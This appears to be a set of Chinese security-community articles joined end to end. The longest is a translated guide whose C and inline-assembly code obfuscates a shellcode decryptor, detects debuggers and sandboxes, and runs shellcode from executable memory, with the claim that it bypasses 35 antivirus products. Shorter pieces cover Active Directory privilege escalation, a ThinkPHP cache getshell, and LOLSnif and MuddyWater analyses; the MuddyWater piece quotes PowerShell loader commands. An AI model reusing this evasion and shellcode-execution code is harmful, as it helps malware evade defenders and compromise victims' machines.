文件中的解密循环，在勒索软件案例的成倍增加后，甚至一些启发式引擎主要仅用于查找加密/解密行为，在它们检测到解密行为 ，一些扫描器等待直到 `ECX`
寄存器大多数时间指示循环结束的 “0”，在它们到达解密循环的结束之后，它们将重新分析文件的解密内容。
这将是 “解密Shellcode” 函数:
void DecryptShellcode() {
for (int i = 0; i < sizeof(Shellcode); i++) {
__asm
{
PUSH EAX
XOR EAX, EAX
JZ True1
__asm __emit(0xca)
__asm __emit(0x55)
__asm __emit(0x78)
__asm __emit(0x2c)
__asm __emit(0x02)
__asm __emit(0x9b)
__asm __emit(0x6e)
__asm __emit(0xe9)
__asm __emit(0x3d)
__asm __emit(0x6f)
True1:
POP EAX
}
Shellcode[i] = (Shellcode[i] ^ Key[(i % sizeof(Key))]);
__asm
{
PUSH EAX
XOR EAX, EAX
JZ True2
__asm __emit(0xd5)
__asm __emit(0xb6)
__asm __emit(0x43)
__asm __emit(0x87)
__asm __emit(0xde)
__asm __emit(0x37)
__asm __emit(0x24)
__asm __emit(0xb0)
__asm __emit(0x3d)
__asm __emit(0xee)
True2:
POP EAX
}
}
}
它是一个for循环，使得 `Shellcode` 字节和关键字节之间进行逻辑 `xor`
操作，下面和上面的汇编块字面上注释，它们覆盖了随机字节和跳过它们的逻辑 `xor` 操作。 因为我们没有使用任何高级解密机制，这将足以混淆“
解密Shellcode” 功能。
### 5.2 动态检测分析
写入沙盒检测机制时，我们需要混淆我们的方法，如果启发式引擎检测到任何反逆向工程方法的行为时，这将影响到恶意软件的威胁分数。
### 5.3 调试模式
我们的第一个AV检测机制将检查我们的进程中是否启用了调试器，有一个 `Windows API` 函数可以使用，它的主要工作是
“`确定是否调用进程正由用户模式调试器调试`“。但我们不会使用它，因为大多数AV产品都是监控 `Windows API`
调用的，他们可以使用逆向工程的方法来检测和处理。而不是使用 `Windows API` 函数，我们来看看 PEB(Process Environment
Block) 块中的 “BeingDebuged” 字节。
// bool WINAPI IsDebuggerPresent(void);
__asm
{
CheckDebugger:
PUSH EAX // Save the EAX value to stack
MOV EAX, DWORD PTR FS : [0x18] // Get PEB structure address
MOV EAX, DWORD PTR[EAX + 0x30] // Get being debugged byte
CMP BYTE PTR[EAX + 2], 0 // Check if being debuged byte is set
JNE CheckDebugger // If debugger present check again
POP EAX // Put back the EAX value
}
使用一些内联汇编这段代码指向 PEB 块中的 BeingDebuged
字节的指针，如果调试器存在，它将再次检查，直到堆栈中发生溢出，当溢出发生时，堆栈保护(stack canaries)将触发异常并且关闭进程，
这是退出程序的最短方法。
手动检查 BeingDebuged 字节将绕过大量的 AV 产品，但仍有一些AV产品已经能够对这种手段进行检测，所以我们需要混淆代码，以避免静态字符串分析。
__asm
{
CheckDebugger:
PUSH EAX
MOV EAX, DWORD PTR FS : [0x18]
__asm
{
PUSH EAX
XOR EAX, EAX
JZ J
__asm __emit(0xea)
J:
POP EAX
}
MOV EAX, DWORD PTR[EAX + 0x30]
__asm
{
PUSH EAX
XOR EAX, EAX
JZ J2
__asm __emit(0xea)
J2:
POP EAX
}
CMP BYTE PTR[EAX + 2], 0
__asm
{
PUSH EAX
XOR EAX, EAX
JZ J3
__asm __emit(0xea)
J3:
POP EAX
}
JNE CheckDebugger
POP EAX
}
我在所有操作后添加了跳转指令，这将不会影响程序正常执行，但是在跳转之间添加垃圾字节将混淆代码，并避免静态字符串过滤器。
### 5.4 加载假的 lib 库
我们将尝试在运行时加载一个不存在的 `dll`。 通常当我们尝试加载一个不存在的 `dll` 时 `HISTENCE` 返回
`NULL`，但AV产品中的一些动态分析机制允许这种情况，以便进一步分析程序的执行流程。
bool BypassAV(char const * argv[]) {
HINSTANCE DLL = LoadLibrary(TEXT("fake.dll"));
if (DLL != NULL) {
BypassAV(argv);
}
### 5.5 获取信用计数
在这种方法中我们将利用 AV 产品的时间截止日期。 在大多数情况下，AV
产品是为了用户友好性设计的，为了不影响用户的其他操作，他们不能花费太多的时间来扫描文件。最初恶意软件开发人员使用 “sleep()”
函数等待扫描完成，但现在这个技巧几乎不能用，因为每个AV产品能够跳过 sleep 功能。
我们将使用 “GetThickCount()” 的 `Windows API`
函数(“`此函数检索系统启动后已经过去的毫秒数，最多为49.7天`“)，我们使用它来获取从操作系统启动后经过的时间，然后尝试 sleep 1秒 sleep
后，我们将通过比较两个 `GetTickCout()` 值来检查睡眠功能是否被跳过。
int Tick = GetTickCount();
Sleep(1000);
int Tac = GetTickCount();
if ((Tac - Tick) < 1000) {
return false;
}
### 5.6 核心数
由于AV产品不能够从宿主机分配太多的资源，我们可以检查处理器核心数量，以确定我们是否在沙盒中。
甚至一些AV产品不支持多核处理，因此他们不支持超过1个处理器核心到他们的沙箱环境中。
SYSTEM_INFO SysGuide;
GetSystemInfo(&SysGuide);
int CoreNum = SysGuide.dwNumberOfProcessors;
if (CoreNum < 2) {
return false;
}
### 5.7 巨大的内存分配
这种方法还利用每个AV扫描的时间截止日期，我们简单地分配近 `100 Mb` 的内存，然后我们将填充它的 `NULL` 字节，最后我们将释放它。
char * Memdmp = NULL;
Memdmp = (char *)malloc(100000000);
if (Memdmp != NULL) {
memset(Memdmp, 00, 100000000);
free(Memdmp);
}
当程序内存在运行时开始增长时，最终AV扫描器将结束扫描，以免在扫描文件上花费太多时间，此方法可以多次使用。
这是一个非常原始和老的技术，但它仍然绕过了大量的扫描。
### 5.8 陷阱标志操作
陷阱标志用于跟踪程序，如果此标志被设置，所有指令都将引发 “SINGLE_STEP” 异常。我们可以操纵陷阱标志以阻止跟踪器，如用下面的代码来操作陷阱标志:
__asm
{
PUSHF // Push all flags to stack
MOV DWORD [ESP], 0x100 // Set 0x100 to the last flag on the stack
POPF // Put back all flags register values
}
### 5.9 互斥触发 WinExec
这种方法非常有前途，因为它的简单性，我们创建一个条件来检查某个互斥对象是否已经存在于系统上。
HANDLE AmberMutex = CreateMutex(NULL, TRUE, "FakeMutex");
if(GetLastError() != ERROR_ALREADY_EXISTS){
WinExec(argv[0],0);
}
如果 “CreateMutex” 函数没有返回已存在的错误，我们可再次执行恶意软件，因为大多数 AV 产品动态分析时不让程序启动新进程或访问 AV
沙盒外部的文件，当已经存在错误发生时，可以开始执行解密功能。 在反检测中有更多创造性的方法来使用互斥体。
### 5.10 正确的方法来执行 Shellcodes
从Windows
Vista开始，Microsoft引入了数据执行保护或DEP[8]，这是一种安全功能，可以通过不时监视程序来帮助防止损坏计算机。监控确保运行的程序有效地使用系统内存。如果计算机上的某个程序的实例使用内存不正确，DEP通知它关闭程序并通知用户。
这意味着你不能只是把一些字节放到一个字符数组并执行它，你需要使用Windows API函数分配一个带有读、写和执行标志的内存区域。
Microsoft有几个用于保留内存页面的内存处理API函数，大多数常见的恶意软件在字段中使用 “VirtualAlloc”
函数来保留内存页面，因为你可以猜测函数的常用功能帮助AV产品定义检测规则，使用其他内存操纵功能也会做到这一点，他们可能吸引较少的关注。
我将列出几种具有不同内存操作API函数的 `shellcode` 执行方法，
#### 5.10.1 HeapCreate/HeapAlloc
Windows 还允许创建 RWE 堆区域。
void ExecuteShellcode(){
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(Shellcode), sizeof(Shellcode));
char * BUFFER = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(Shellcode));
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
(*(void(*)())BUFFER)();
}
#### 5.10.2 LoadLibrary/GetProcAddress
`LoadLibrary` 和 `GetProcAddress` API 函数组合允许我们使用所有其他的 Windows API
函数，与这种用法将没有直接调用内存操作函数和恶意软件可能会较少吸引力。
void ExecuteShellcode(){
HINSTANCE K32 = LoadLibrary(TEXT("kernel32.dll"));
if(K32 != NULL){
MYPROC Allocate = (MYPROC)GetProcAddress(K32, "VirtualAlloc");
char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
(*(void(*)())BUFFER)();
}
}
#### 5.10.3 GetModuleHandle/GetProcAddress
这个方法甚至不使用 `LoadLibrary` 函数，它利用已经加载的 `kernel32.dll`，`GetModuleHandle` 函数从已经加载的
dll 中检索模块句柄，这种方法可能是执行 `shellcode` 最悄无声息的方法之一。
void ExecuteShellcode(){
MYPROC Allocate = (MYPROC)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
char* BUFFER = (char*)Allocate(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
(*(void(*)())BUFFER)();
}
### 5.11 多线程
它总是更难于反向工程多线程 PE 文件，它也是具有挑战性的AV产品，多线程方法可以使用所有上面所说的执行方式，而不是只是指向一个函数指针到
`shellcode` 。 它创建一个新线程将执行复杂AV扫描，它允许我们在执行 `shellcode` 的同时继续执行 “AV Detect” 功能。
void ExecuteShellcode(){
char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));
CreateThread(NULL,0,LPTHREAD_START_ROUTINE(BUFFER),NULL,0,NULL);
while(TRUE){
BypassAV(argv);
}
}
上面的代码执行 `shellcode`
与创建一个新的线程，只是在创建线程后有一个无限whlie循环执行旁路AV功能，这种方法几乎是我们的旁路AV功能双倍的效果，旁路AV功能将继续检查沙盒和动态分析符号，而
`shellcode` 运行，这也是绕过一些高级的启发式引擎，直到执行 `shellcode` 的关键。
### 5.12 结论
到最后，关于编译恶意软件还有很多事情需要涵盖。当编译源码时，像堆栈保护程序需要打开的保护措施，增强我们的恶意软件的逆向工程难度和减小大用条带化的符号是至关重要的。在本文中使用的内联汇编语法，建议在
`visual studio` 上编译。
使用这些方法组合，生成的恶意软件能够绕过35款最先进的AV产品。
## 参考链接
### 原文参考
* [1] - <https://en.wikipedia.org/wiki/Antivirus_software>
* [2] - <https://en.wikipedia.org/wiki/Static_program_analysis>
* [3] - <https://en.wikipedia.org/wiki/Dynamic_program_analysis>
* [4] - [https://en.wikipedia.org/wiki/Sandbox_(computer_security](https://en.wikipedia.org/wiki/Sandbox_\(computer_security\))
* [5] - <https://en.wikipedia.org/wiki/Heuristic_analysis>
* [6] - <https://en.wikipedia.org/wiki/Entropy>
* [7] - <https://en.wikipedia.org/wiki/Address_space_layout_randomization>
* [8] - <https://msdn.microsoft.com/enus/library/windows/desktop/aa366553(v=vs.85).aspx>
* The Antivirus Hacker’s Handbook
* The Rootkit Arsenal: Escape and Evasion: Escape and Evasion in the Dark Corners of the System
* <http://venom630.free.fr/pdf/Practical_Malware_Analysis.pdf>
* <http://pferrie.host22.com/papers/antidebug.pdf>
* <https://www.symantec.com/connect/articles/windows-anti-debug-reference>
* <https://www.exploit-db.com/docs/18849.pdf>
* <http://blog.sevagas.com/?Fun-combining-anti-debugging-and>
### 译者参考
* <https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/>
* <https://zh.wikipedia.org/wiki/%E7%86%B5>
* <https://hia-hia-hia.com/avoid-killing1-msfvenom.html>
* <https://zh.wikipedia.org/wiki/%E5%85%8D%E6%9D%80%E6%8A%80%E6%9C%AF>
* * * | 社区文章 |
# 从父域到子域的横向移动
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
在最近的一次实战域环境中，我进入到了一个包括两个子域在内的域森林中，当我获得父域管理员权限的时候，拿着域管凭证去登录子域服务器，发现这是不可行的，在这之前，我认为父域和子域既然是双向可传递父子信任关系，那么父域的域管凭证理应是可以登录子域的，子域域管理应也可以登录父域，但我发现不是如此，所以本文对父域和子域进行了探究，父域和子域到底存在什么样的信任关系，以及在实战环境下，如何实现父域管理员能够登录子域控制器。
## 0x02 环境准备
根域DC：192.168.93.30
子域DC：192.168.93.11
根域已经安装，现在来创建子域，按步骤进行操作
DNS一定要指向根域服务器
一直下一步之后，点击安装即可完成
安装完成后，子域服务器就创建成功
## 0x03 探究父域和子域的信任关系
按照上面的环境搭建 父域：whoamianony.org 子域：ziyu.whoamianony.org
我将客户机PC1加入父域，客户机PC2加入子域，父域有一个用户为whoami，子域有一个用户为ziyu，接下来进行测试
① 默认情况下，使用PC1中的用户ziyu登录到子域，可以成功
② 使用PC1中用户ziyu登录父域，发现失败
③ 使用PC2中用户whoami登录到父域，发现可以登录
④ 使用PC2中用户whoami登录到子域，发现失败
结论：通过以上测试发现，不同域中的用户是不能在不同的域中进行登陆，但父子域中的任何用户都可以在父子域中的客户机上登陆到自己域中。
## 0x04 父子域管理员权限探究
1、环境准备
根域管理员
whoamianony.org\gyadmin（加入到 Domain Admins组中）
whoamianony.org\administrator
子域管理员
ziyu.whoamianony.org\administrator
在模拟环境中，我模仿了已经取得根域管理员gyadmin的权限，现在要去登录子域控制器
我发现这根本登陆不了，和我在真实环境中遇到的一样，从上面的结论来看，父子域中的任何用户都可以在父子域中的客户机上登陆到自己域中，所以我尝试了是否可以登录子域客户机
我利用了父域的管理员权限成功登录了子域客户机
然后我又利用根域的administrator权限去登录子域控制器的时候，我发现是可以登录的
而子域的administrator权限去登录根域控制器是不能登录的
查看根域administrator的属组
其中包含有Enterprise Admins组，这是创建时就会存在的，而子域administrator是没有这个属组的
## 0x05 Enterprise Admins组
一、简介：该组在林中每个域内都是Administrators组的成员，因此对所有域控制器都有完全访问权。
二、通用组、全局组、本地域组的区别
全局组：单域用户访问多域资源（必须是一个域里面的用户），可在林中的任何域中指派权限
通用组：多域用户访问多域资源，可在该域树或林中的任何域中指派权限
通用组的成员可包括域树或林中任何域的其他组和账户，而且可在该域树或林中的任何域中指派权限；
本地域组：多域用户访问单域资源（访问同一个域），只能在其所在域内指派权限。
而Enterprise
Admins是属于通用组，并且存在全局编录（GC），GC中不仅包含通用组，而且还包含通用组的成员信息，即整个林都可以识别到全局编录的用户
以下命令是查看当前域中的GC
从上面的分析得出应该是Enterprise Admins组再起作用，下面将对Enterprise Admins组进行测试
## 0x06 加入Enterprise Admins组测试
我将gyadmin加入Enterprise Admins组之后，登陆子域控制器成功
命令：net group “enterprise admins” gyadmin /add /domain
## 0x07 总结
在建立域信任关系之后，父子域中的任何用户都可以在父子域中的客户机上登陆到自己域中。但是父域对子域没有管理权限，子域控上不存在根域的域管账号，所以根域管是无法登录到子域控中的，如果根域管拥有Enterprise
Admins组权限，即可以登录。 | 社区文章 |
**原文：[LOLSnif – Tracking Another Ursnif-Based Targeted
Campaign](https://www.telekom.com/en/blog/group/article/lolsnif-tracking-another-ursnif-based-targeted-campaign-600062 "LOLSnif – Tracking Another
Ursnif-Based Targeted Campaign")**
**译者：知道创宇404实验室翻译组**
工具泄露是网络安全中非常有趣的事件。一方面泄露的工具在被熟知且进行分析后，会对原有的文件造成某种意义的破坏，另一方面其内容将会被传入到较低版本的工具当中。本文将会对Ursnif的新版本进行了详细分析。
由于恶意软件的存在，源代码泄露情况很普遍。2017年，代码“ Eternal
Blue”（CVE-2017-0144）遭泄露并被黑客入侵，而早在2010年银行木马Zeus的泄露就已经形成了恶意软件新格局，该木马的源代码在泄露后，出现了与该银行木马相同的代码库。本文我将重点介绍源代码在2014年就被泄露的系列事件，这个系列被称为Ursnif（也称为Gozi2
/ ISFB），Ursnif是成熟的银行木马，而关于该系列的研究也有很多。
本文中我对Ursnif的最新变体进行了分析，发现它利用LOLBins、组件对象模型（COM）接口等技术来检测Internet
Explorer，借此绕过本地代理以及Windows Management
Instrumentation（WMI）来与操作系统进行交互，达到代替本地Win32 API的效果，该操作很难被检测到。
该变体已被重新用作侦察工具和下载器，在打击网络犯罪攻击活动中有着重要意义。于[2019年8月首次公开提及](https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html)，与一些相关域名的注册日期一致，并在该年冬季进行了恶意攻击，有文章详细分析了该软件2020年4月发起的攻击活动，提出了关于[LOLBins](https://lolbas-project.github.io/ "LOLBins")的使用，简而言之，LOLBins代表“Living Off the Land
Binaries”，这意味着会利用目标系统上已经存在的系统工具来执行恶意目的。如，[数十种Windows系统工具](https://lolbas-project.github.io/)可用于下载文件、转储凭据或执行其他二进制文件。因此，攻击不需要自带工具，也可以将其踪迹隐藏在这些工具的合法用途中，由于本文中说到Ursnif变体使用了LOLBins，并对此进行了引用，因此在下文中将其称为LOLSnif，目前，我尚未发现它以自己的名字被追踪。
## 近期恶意活动的详细探究
为了更好的了解参与者的TTPS,我们从今年4月7日开始的LOLSnif活动恶意开始来进行分析。该活动主要通过发送邮件的形式将恶意代码隐藏在加密的ZIP垃圾邮件中，并在邮件文本中显示解密代码，要求用户使用代码对文件进行解密，以下是一个1.34M的JavaScript文件：
“my_presentation_v8s.js”
(4d98790aa67fb14f6bedef97f5f27ea8a60277dda9e2dcb8f1c0142d9619ef52)
这款恶意软件于今年4月7日被提交给VirusTotal，其中的JavaScript文件最终会成为一个`UtBuefba.txt`的PE可执行文件（需用一个8字符长的ASCII密钥进行），其文本也会被放到`AppData
\ Local \ Temp`中，并通过`regsvr32.exe -s
[redacted]\AppData\Local\Temp\\UtBuefba.txt`来启动DLL（“
-s”表示静默注册，不显示对话框）。即使在必须使用DLL来导出`DllRegisterServer`和“`DllUnregisterServer`的情况下，DLL也不会进行导出，因为它只有一个常规的DLL入口点。但是，此文件仍会对Ursnif
DLL进行解压。
## LOLSnif 分析
LOLSnif包含两个主要组件：加载程序和工作程序组件，前者使后者下降，这两个都是头文件稍微被破坏的PE DLL，其中DOS头部（“ MZ”）和PE头部（“
PE”）均被覆盖。虽然这可能会妨碍某些沙箱解决方案转储有效负载，但问题很容易修复。值得注意的是，它们都是x86二进制文件，目前我还未发现其与任何恶意软件相关联。
### 加载器
未打包的DLL
(e3d89b564e57e6f1abba05830d93fa83004ceda1dbc32b3e5fb97f25426fbda2)包含两个导出点:DLL入口点和DllRegisterserver，后者是用regsvr32注册的，类似于Ursnif加载器，并使用相同的配置机制(JJ结构)。
下图说明PE列表下方的JJ结构，每个配置部分均以头部数字0x4A4A（“
JJ”）开头，并保留数据的偏移量以及用于描述数据类型的CRC32标签（如，额外的有效负载）。在[这里](https://labs.sentinelone.com/writing-malware-configuration-extractors-isfb-ursnif/)可以找到有关Ursnif的配置格式的详细介绍。
JJ结构
加载程序包括两个配置部分。第一部分是安装第二部分有效负载所需的`INSTALL_IN`，第二部分包含一个APlib压缩的DLL，它是实际的工作程序。在解压缩第二个DLL之前，加载程序将检查操作系统是否具有俄语或中文本地化版本。如果有，加载程序则停止操作。
### 相关操作
LOLSnif的相关操作与最初的Ursnif相关操作类似。如：保留项目的总体结构，使用JJ结构的配置存储以及加密`.bss`部分（包含字符串和其他值得保护的数据）。尽管加密算法略有区别，但也增加了一些有意思的功能。
它的配置格式与最初版相同，下图有颜色标记的部分显示了Blob配置。它的第一部分以字符串和数据类型信息的偏移量显示结构，这些字符串存储在Blob（灰色区域）的末尾，其包含命令和控制服务器地址，下面是公用DNS服务器的列表。值得注意的是该Blob包含DGA（域生成算法）的配置参数，如，用于下载域生成关键字的域`constitution
[。] org`。但是，LOLSnif不包含任何用于生成域名的功能。
Blob配置
在最原始的Ursnif中，LOLSnif带有一个加密的`.bss`，该部分包含字符串，此部分在启动时就会被进行解密，但其解密算法与原始代码库略有不同。解密密钥是基于样本的编译日期，该日期硬编码在二进制文件中。原始的Ursnif使用滚动XOR算法，LOLSnif的算法是基于add/sub指令。解密字符串的完整列表可以在下面找到[附录B](https://www.telekom.com/resource/blob/600078/0a7581ca22c85e654a49eeb2cd302c02/dl-20200511-lolsnif-appendix-b-en-data.pdf)。
解密算法
此外，某些字符串并没有被引用，猜测它可能是反汇编程序的问题，但实际上是代码的问题。这些字符串在Ursnif的代码中被定义为宏（请参考文件“Common/
cschar.h”），恶意软件的操作者会对其进行追踪。
登记交互以两种方式实现：本机Win32 API（如RegOpenKey，RegEnumKey，RegCloseKey）和Windows Management
Instrumentation（WMI）。有一些函数采用布尔参数，这用于决定是使用Win32
API还是WMI，如图所示的用于设置注册表项的字符串值的函数。第一个参数（在反汇编中标记为`use_wmi`）确定本机API或WMI的使用。
函数包装器
LOLSnif是使用的x86进行构建，但预估其也可在x64平台上运行。另一个有趣的方面是LOLSnif广泛使用COM接口。[据报道](https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html)该恶意软件通过IWebBrowser对Internet
Explorer进行了检测，以联系其命令和控制服务器（CC）。由于Internet
Explorer常与代理进行连接，因此该方案允许它绕过合作网络中的任何代理配置。用LOLSnif通过IHTMLElement在DOM中搜索字符串`invalidcert`，可能会出现无效的证书警告。若遇到此情况，可证明此警告会将效负载发送到CC服务器。
但是，当前示例未使用https，而是使用纯http。该恶意软件将Internet
Explorer设置为标准浏览器，以避免操作过程中出现任何弹出窗口。另外，Ursnif变体还使用了LOLBins,LOLBins用于从注册表`mshta.exe+powershell.exe`，以此启动恶意软件，还能够下载和执行其他模块以及有效负载。
## LOLSnif的api1活动观察范围的缩小
在今年4月份的恶意活动中观察发现：我们可以利用几个链接来查找更多样本和域[附录A](https://www.telekom.com/resource/blob/600076/ff2f4f0adcfcef604c1f8aa0c3a615e2/dl-20200511-lolsnif-appendix-a-en-data.pdf)，列表列出了我在观察期间发现的所有IoC。首先，LOLSnif的字符串解密算法与原始代码库不同，基于此算法寻找了更多样本并从中提取出了相关配置。
样本均使用相同的服务器ID（730）和相同的RSA密钥（此处未列出），每个系列都有三个递增的僵尸网络ID（1000、2000、3000）。他们的编译时间戳近乎是合法的，除最后一个以外的所有域都共享域`wensa
[。] at`或其子域。操作者们在经过6个月努力后，发现CBC密钥在所有情况下均显示为`W7fx3j0lFvOxT2kF`。该异常值属于僵尸网络ID
2000，而该僵尸网络的密钥是`U7yKaYwFde7YtppY`。更有趣的是，有两个样本在2020-02-19的四秒钟内进行了编译，这表明存在某种形式的构建自动化。
另一种方法是利用CC基础结构进行分析。首先，所有样本都将`/ api1`作为URL的一部分，例如`been.dianer [。] at /
api1`。其次，除一个域外，所有域都使用“.at”TLD。有一个TOR“.onion”域`6buzj3jmnvrak4lh.onion`。如果我们利用有关已知域IP的DNS信息，则会发现更多有趣的信息，有许多领域，相关的操作者使用了几个月，域“
wensa [at]”的使用时间最长，大约六个月。
以下时间线显示了唯一的配置和某些域。样本由其SHA256前缀和蛇形CBC密钥前缀（例如8d700ea_W7）描述。这些域有首次发现日期（FS），其中一些具有最后查阅日期（LS）。参与者可能在操作开始时就注册的域`lamanak[。]at`和`kamalak[。]`且与基础结构IP相关联。
时间线
关联的参与者要么不关心OpSec，要么非常确定它们的功能，因为它们多次重用域和ip，有时它们会使用它们很长一段时间。
## 结论
此文中，我仔细研究了Ursnif的最新变体（LOLSnif）及其近期活动相关操作者可进行有针对性的网络犯罪操作。这些活动的核心是Ursnif
Trojan的变体，该变体被重新用作下载器和侦察工具，以满足操作者的特殊需要。
该操作者使用的技术（例如LOLBins，）及在攻击后期如利用后期开发框架（Cobalt
Strike）和VNC客户端（TeamViewer））中观察到的COM接口和TTP都表明了这一点：有明显针对性的攻击行为。袭击事件自上个月以来一直在持续，没有引起公众的广泛关注。这可能是关联的参与者重复使用域和IP的原因，但操作者的存在这一点不容忽视。
* * * | 社区文章 |
来源：[先知安全技术社区](https://xianzhi.aliyun.com/forum/read/1973.html)
作者：phpoop
#### 0x00 框架运行环境
ThinkPHP 是一个免费开源的，快速、简单的面向对象的轻量级 PHP 开发框架，是为了敏捷 WEB 应用开发和简化企业应用开发而诞生的。ThinkPHP
从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。
Thinkphp 在使用缓存的时候是将数据 序列化 然后存进一个 php 文件中这就导致我们了我们在一些情况下可以直接 getshell
#### 0x01 漏洞利用
该漏洞形成最关键的一点是，需要使用框架时，有使用缓存，才能利用这个漏洞
我们这里使用缓存查看官网对这个缓存类的说明以及利用方法
本地按照官方给的文档安装成功后，根据官网给的缓存使用方法，新建一个方法，我们都清楚缓存一般是为了减少数据库的开销为设置的，所以缓存的数据一般也是从数据库获取到的为了模拟线上，我们这里先查数据库数据在写入缓存。
这里我们写了一个add添加数据的方法
%2F%2F%0D%0A = //+回车
执行完以后查看方法缓存目录
这里需要特别说的一点是 TP的缓存名字是不变的，所以我们在审计的时候不用怕缓存文件名猜不到的情况。
#### 0x02 漏洞分析
上面我们展示了漏洞利用方法，这里我们对这个漏洞进行分析
为了证明我们的逻辑是对的我们这里打印一下返回的数据
通过这个我们就可以知道了下面这个截图的意思
实例化 \thinkp\cache\driver\ 文件里面的File类 并且调用set方法
缓存文件名称的获取方法
#### Thinkphp3.2 缓存函数设计缺陷
这个感觉没什么可以说的，和上面的原理是一样的，我们只演示攻击的方法
#### 修复方案
通过上面的过程与分析我们可以清楚了解造成这个漏洞的主要原因就是换行与回车导致绕过了注释。那么我们修复的方法就很简单了只要删除这些即可
修复方法：
1. 打开文件：thinkphp\library\think\cache\driver\File.php
2. 找到：`public function set($name, $value, $expire = null)` 方法
3. 添加：`$data = str_replace(PHP_EOL, '', $data);` 如下图
* * * | 社区文章 |
本文翻译自：<https://securelist.com/muddywater/88059/>
* * *
# 概览
MuddyWater是2017年出现的相对较新的APT组织。其主要攻击伊朗和沙特阿拉伯的政府组织。MuddyWater背后的组织的攻击目标还包括中东、欧洲和美国的其他国家。研究人员最近发现了大量攻击约旦、土耳其、阿塞拜疆和巴基斯坦，以及伊朗和沙特阿拉伯等国家政府、军事实体、电信公司和教育机构的鱼叉式钓鱼文件，马里、奥地利、俄罗斯、伊朗和巴林等地也发现了一些受害者。这些文档是2018年出现的，而且攻击活动还在进行中。
MuddyWater使用的鱼叉式钓鱼攻击邮件主要依赖社会工程技术使用户信赖地启用宏。攻击者使用大量被入侵的主机来传播攻击活动。
关于MuddyWater的相关研究成果：
<https://sec0wn.blogspot.com/2018/05/clearing-muddywater-analysis-of-new.html?m=1>
<https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/>
<https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/>
<https://www.sekoia.fr/blog/falling-on-muddywater/>
# 技术细节
下面是恶意软件提取和执行流的描述，首先从初始感染向量开始，通过宏运行VBA代码，然后释放Powershell代码，powershell代码可以建立以命令为中心的通信，发送受害者系统信息，然后接收恶意软件支持的命令。
## 初始感染向量
初始感染是从启用宏的Office 97-2003文档开始的，文档的宏一般都是密码保护的，以防止静态分析。
当宏首次启用时，恶意的混淆的VBA代码就会执行。在一些例子中，当用户激活伪造的文本框时，恶意宏也会执行。
## 宏payload、释放的文件和注册表分析
宏payload是base64编码的，会做下面的动作：
1. 向ProgramData文件夹中释放2到3个文件。释放的文件在`ProgramData`文件夹根目录或子目录下。文件名根据恶意软件的版本不同而不同。
\EventManager.dll
\EventManager.logs
\WindowsDefenderService.inil
2. 向当前用户的`RUN key（HKCU）`中添加注册表项，当用户下次登陆时执行。有时候，宏会马上执行恶意payload或进程。注册表和可执行文件可能根据恶意软件版本不同而不同：
Name:WindowsDefenderUpdater
Type:REG_EXPAND_SZ
Data:c:\windows\system32\rundll32.exe advpack.dll,LaunchINFSection
C:\ProgramData\EventManager.logs,Defender,1,
下次用户登陆时，释放的payload就会执行。可执行文件是特别挑选的，可以绕过白名单解决方案或与白名单非常相似。除了文件扩展外，宏释放的文件包括EITHER
INF、SCT和文本文件或VBS和文本文件。
### Case 1: 宏释放的INF、SCT和文本文件
1. INF是通过advpack.dll “LaunchINFSection”函数启动的；
2. INF通过scrobj.dll (Microsoft Scriptlet library) 注册SCT (scriptlet) 文件；
3. 通过WMI (winmgmt)、SCT文件中的JS/VB代码启用Powershell one-liner。
powershell.exe -exec Bypass -c $s=(get-content C:\\ProgramData\\WindowsDefenderService.ini);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join(”,$d));
执行流：
### Case 2: 宏释放的VBS和文本文件
VBS文件会自解码，调用`mshta.exe`，传递VB脚本代码，然后交给PowerShell one-liner:
powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\ProgramData\ZIPSDK\ProjectConfManagerNT.ini))));
执行流：
## PowerShell代码
当Powershell通过`WMI, wscript.exe, 或mshta.exe`激活后，就会执行one-liner
PowerShell代码，代码会读取释放到`ProgramData`文件夹的编码的文本文件，然后解码。得到的代码经过了多层混淆。
PowerShell代码首先要做的是关闭office的宏告警（`Macro Warnings`）和受保护视图（`Protected
View`）。这是为了确保之后的攻击不需要用户交互，也允许宏代码访问内部VBA代码，以便在之后的攻击中静默执行宏代码。
然后检查运行的进程，并与硬编码的进程名进行对比。如果找到任何一个进程，就重启机器。这些硬编码的进程名都与恶意软件研究人员使用的工具相关：
“win32_remote“,”win64_remote64“,”ollydbg“,”ProcessHacker“,”tcpview“,”autoruns“,”autorunsc“,”filemon“,”procmon“,”regmon“,”procexp“,”idaq“,”idaq64“,”ImmunityDebugger“,”Wireshark“,”dumpcap“,”HookExplorer“,”ImportREC“,”PETools“,”LordPE“,”dumpcap“,”SysInspector“,”proc_analyzer“,”sysAnalyzer“,”sniff_hit“,”windbg“,”joeboxcontrol“,”joeboxserver“
在一些样本中，恶意软件还会计算每个运行进程名的校验和，如果与硬编码的校验和匹配，就通过`ntdll.dll
NtRaiseHardError`函数产生BSOD（蓝屏死机）的效果。
## C2通信
